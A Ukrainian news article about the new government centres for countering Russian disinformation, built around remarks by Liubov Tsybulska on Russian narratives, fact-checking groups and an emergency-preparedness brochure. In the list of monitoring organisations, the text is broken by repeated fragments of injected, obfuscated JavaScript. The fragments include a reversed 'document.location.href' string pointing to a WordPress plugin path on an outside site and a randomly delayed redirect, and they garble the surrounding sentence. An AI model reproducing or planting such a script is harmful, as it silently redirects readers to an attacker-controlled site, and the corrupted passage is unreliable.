У березні цього року в Україні з’явилось одразу два центри, які мають боротися з російськими фейками та зміцнювати інформбезпеку країни. Центр із протидії дезінформації створили при РНБО. Центр стратегічних комунікацій та інформбезпеки — при Мінкультури. Саме цютему регіональні журналісти обговорювали з Любов’ю Цибульською, керівницею центру стратегічних комунікацій та інформаційної безпеки при Міністерстві культури ти інформаційної політики України у рамках спільного проекту Українського кризового медіацентру та Естонського центру Cхідного партнерства.
Росіяни не дуже винахідливі, вони повторюють одне й те саме: «В Україні громадянська війна», «Крим російський», «Українці — фашисти», «Україна — недодержава», «Україна має зовнішнє управління».
Крім того, російські наративи стосуються тих сфер, які в Україні надзвичайно успішні. Наприклад, українська кухня. Зараз триває «боротьба за борщ», бо вони намагаються його привласнити.
«Якщо людям пояснити основні канали поширення російської дезінформації та її основні тези — вони самі почнуть її помічати», – стверджує Любов Цибульська.
Відстежувати дезінформацію допомогають моніторинг від різних джерел — урядових і громадських, завдяки яким готується аналітика. Це «Інтерньюз-Україна», Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topFake, InformNapalm, VoxCheck, «Український кризовий медіацентр», EuromaidanPress, «Тексти», «По той бік новин» — за останні сім років вони накопичили фантастичну експертизу.
Дезінформація не стосується якоїсь однієї теми. Тактика Росії передбачає використання вразливостей. Де є слабке місце – там Росія втручається. Відповідно, це може стосуватись будь-чого. Наприклад, вакцинація – тема, через яку Росія намагається підірвати наші євроінтеграційні зусилля, просунути свій «Спутник V» , дискредитувати владу, дискредитувати інституції, дискредитувати офіційну науку.
«Росія не виграє інформаційну війну. Так, її багато, вона дуже активна, вона лізе з усіх щілин, вона вкладає колосальні ресурси в свою пропаганду, але давайте поглянемо на загальну картину. Ми не втратили ще більше територій, ми маємо міжнародну підтримку, ми виграємо судові позови проти Росії… Увесь світ знає, що Росія збила малайзійський Боїнг, і що Росія стоїть за отруєнням Скрипалів, і за отруєнням Навального, усі засуджують окупацію Донбасу й Криму. Коли ми говоримо, що Росія виграє, ми просто транслюємо власне російський наратив, тому що це Росія нас переконала, що ми якісь не такі, ми гірші, ми недодержава. Ця реакція – від виснаження», – стверджує Любов Цибульська.
Також дуже корисним є використання досвіду інших держав стосовно боротьби з дезінформацією. Наприклад, коли почалася війна України з Росією, Швеція видала кожному громадянину листівку, що робити на випадок війни.
Напередодні нашої зустрічи, керівництво Центру стратегічних комунікацій та інформаційної безпеки вирішили за необхідне розповсюдження подібної інформації, тому розробили і презентували брошуру «У разі надзвичайної ситуації або війни». Вона містить практичні поради, що враховують український та іноземний досвід, та рекомендації з інформаційної безпеки: поради до підготовки вдома; що робити в надзвичайній ситуації або в зоні бойових дій; як не стати жертвою дезінформації; що робити після отримання сигналу «УВАГА ВСІМ»; як підготувати «тривожну валізу».
Немає досліджень, опитувань, ґрунтовних аналізів, що українська відповідь на інформаційну агресію є слабкою. Навпаки, об’єктивні дані підтверджуюсь зворотне – Україна добре оцінює рівень загрози і впевнено відповідає на неї.
Для того, аби це усвідомити, варто поглянути на картину в цілому.
- Вже сім років США та ЄС утримують санкції проти Росії.
- Наші міжнародні партнери не визнають Крим російським.
- Україна протидіє російським агентам внутрішньо.
- Україна гідно бореться в міжнародних судах.
- Українські фактчекери співпрацюють з Facebook.
- Увесь світ знає, що малазійський Boing MH17 збила Росія
- Риторика щодо Росії тотально змінилася.
Це — лише невелика частка того, що Україні вдалося від початку війни попри те, що сили були і залишаються не рівними.
Щодня велика кількість людей – як у державному, так і у громадському секторі – роблять усе можливе, аби агресор називався агресором, санкції зберігались, а російські агенти втрачали вплив на українську аудиторію. І якщо ви не помічаєте їхньої роботи щодня, то згадайте, що було сім років тому, і проаналізуйте, як усе змінилося. Так зміни стануть очевидними.
Росія чудово розуміє, що програє у цьому протистоянні. Російський Мінфін тільки цього року запропонував підняти бюджет на пропаганду на 40%. Ці витрати неспівмірно вищі за українські, але і вони не можуть допомогти Росії схилити міжнародну спільноту на свій бік.
Дослідження підтверджують, що українці є дуже виснаженими інформацією, відчувають себе «атакованими» інформацією. Деморалізування населення є вкрай небезпечним, тому що це дійсно знижує опірність, знижує в принципі можливість критично мислити. Але держава активно намагається вирішувати це питання.